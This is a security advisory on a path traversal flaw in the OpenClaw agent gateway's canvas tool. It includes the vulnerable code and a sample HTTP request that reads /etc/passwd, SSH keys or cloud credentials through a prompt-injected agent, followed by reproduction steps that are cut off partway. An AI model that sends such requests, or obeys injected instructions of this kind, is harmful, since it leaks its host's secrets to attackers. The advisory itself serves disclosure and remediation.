GitHub Security Advisory: GHSA-jq4x-98m3-ggq6
Package: openclaw (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 2026.2.21
Patched in: 2026.2.21

Summary: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

Details:
ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability

-- ABSTRACT -------------------------------------

Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products:
OpenClaw - OpenClaw

-- VULNERABILITY DETAILS ------------------------
* Version tested: openclaw 2026.2.17
* Platform tested: macOS 26.3

---

# Analysis

## Description

The OpenClaw gateway's `canvas` tool accepts an `a2ui_push` action with a `jsonlPath` parameter that specifies a filesystem path to read. The gateway reads this file using `fs.readFile()` with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.

The file contents are forwarded to the connected node client via the `canvas.a2ui.pushJSONL` WebSocket command. The gateway itself returns `{ ok: true }` to the HTTP caller, confirming the file was read and transmitted.

## Root Cause

In `src/agents/tools/canvas-tool.ts`, the `a2ui_push` action handler reads a file from disk without any path restrictions:

```typescript
case "a2ui_push": {
  const jsonl =
    typeof params.jsonl === "string" && params.jsonl.trim()
      ? params.jsonl
      : typeof params.jsonlPath === "string" && params.jsonlPath.trim()
        ? await fs.readFile(params.jsonlPath.trim(), "utf8")  // <-- NO PATH VALIDATION
        : "";
  if (!jsonl.trim()) {
    throw new Error("jsonl or jsonlPath required");
  }
  await invoke("canvas.a2ui.pushJSONL", { jsonl });
  return jsonResult({ ok: true });
}
```

The `jsonlPath` parameter is passed directly to `fs.readFile()` after only a `.trim()` call. There is:
- No allowlist of permitted directories
- No canonicalization (`path.resolve` / `realpath`)
- No check against directory traversal sequences (`..`)
- No restriction to `.jsonl` file extensions

## Attack Scenario

### Prompt Injection (Primary)

OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:

```
POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json

{
  "tool": "canvas",
  "args": {
    "action": "a2ui_push",
    "jsonlPath": "/etc/passwd",
    "node": "node-host"
  }
}
```

The gateway reads `/etc/passwd` (or any file: `~/.ssh/id_rsa`, `~/.aws/credentials`, `openclaw.json` containing the gateway token itself) and can forward the contents to an attacker connected node.

## Reproduction Steps

### Prerequisites
- Docker installed
- Python 3
- OpenClaw Docker image built as `openclaw:local`

### Steps

1. Navigate to the PoC directory and start the environment:
   ```bash
   cd vulnerabilities/01-canvas-a2ui-push-lfi
   docker compose up -d --wait
   ```

2. This starts two containers:
   - **Gateway** (`openclaw-vuln-01-gateway`): Token